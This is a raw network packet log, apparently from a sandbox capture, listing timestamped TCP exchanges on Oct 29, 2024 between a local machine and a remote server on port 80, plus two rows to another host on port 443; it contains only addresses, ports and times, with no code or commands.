Oct 29, 2024 06:59:05.020325899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020337105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020365953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020382881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020411968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020416021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020450115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020466089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020483017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020498991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020518064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020524025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020550966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020555973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020585060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020587921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020625114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020642042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020688057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020694017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020745993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020764112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020797968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020812988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020831108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020838022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020865917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020876884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020898104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020912886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020932913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020936966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.020966053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.020981073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021001101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021007061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021044970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021105051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021137953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021152973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021181107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021188974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021234989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021239042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021284103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021294117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021327972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021361113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021362066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021387100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021394014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021395922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021426916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021436930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021461010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021471977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021493912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021500111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021529913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021542072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021576881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021811962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021846056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021863937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021879911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021886110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021913052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021924019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021954060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.021965981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.021990061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022001028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022032022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022152901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022185087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022201061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022213936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022236109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022269964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022285938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022304058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022321939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022336960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022345066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022372007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022378922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022402048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.022417068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.022447109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.056440115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.056510925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.056576967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.056617022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.096806049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.096863031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.096898079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.096899033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.096919060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.096942902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.136706114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136727095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136742115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136766911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136782885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136799097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136816025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136820078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.136831045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136853933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136876106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.136898041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.136919975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136934996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136950016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.136962891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.136981010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.136992931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.136998892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137013912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137029886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137033939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137051105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137073040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137264967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137279034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137293100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137311935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137336016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137351990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137398958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137411118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137435913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137459040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137459040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137475014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137475014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137492895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137504101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137691021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137706041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137727976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137732983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137742996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137757063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137758017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137772083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137784958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137800932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.137949944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137964010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137979031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.137995005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138012886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138020039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138035059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138060093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138082981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138222933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138237953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138269901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138278961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138278961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138293982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138309002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138319969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138324022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138339043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138340950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138350964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138365984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138381958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138392925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138407946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138425112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138437986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138439894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138462067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138463974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138490915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138500929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138926029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138971090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.138978004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.138986111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139009953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.139019012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.139024019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139038086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139053106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139065981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.139069080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139084101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.139096975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.139112949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139127016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139139891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.139153004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.139179945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.213813066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.213849068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.213884115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.213890076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.213906050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.213932037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253601074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253637075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253669977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253694057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253717899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253767014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253818035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253818989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253853083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253863096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253886938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253897905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253921986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.253932953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253972054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.253985882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254020929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254034996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254054070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254067898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254086971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254101992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254116058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254129887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254154921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254164934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254208088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254214048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254246950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254252911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254290104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254298925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254333973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254347086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254368067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254371881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254403114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254410982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254436970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254442930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254470110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254477978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254503012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254508018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254549026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254551888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254584074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254599094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254614115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254627943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254646063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254661083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254682064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254693985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254714966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254726887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254746914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254760981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254782915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254790068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254817009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254822969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254848957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254858017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254889965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254899025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254931927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.254942894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254967928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.254981995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255013943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255031109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255048037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255053997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255079985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255089998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255112886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255125046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255158901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255204916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255249977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255255938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255291939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255304098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255340099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255347967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255383968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255393028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255425930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255434036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255465984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255481005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255513906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255517006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255556107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255564928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255598068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255616903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255630970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255645990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255677938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255680084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255712986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255744934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255763054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255778074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255788088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255811930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255812883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255844116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255851030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255877972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255882978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255906105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.255923033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.255948067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.259212017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.259264946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.259390116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.259439945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.281694889 CET	443	49703	23.1.237.91	192.168.2.5
Oct 29, 2024 06:59:05.281930923 CET	49703	443	192.168.2.5	23.1.237.91
Oct 29, 2024 06:59:05.330600023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.330634117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.330687046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.330704927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.330715895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.330737114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.330766916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.370625973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.370680094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.370690107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.370723963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.370734930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.370763063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.370764971 CET	80	49704	185.215.113.206	192.168.2.5
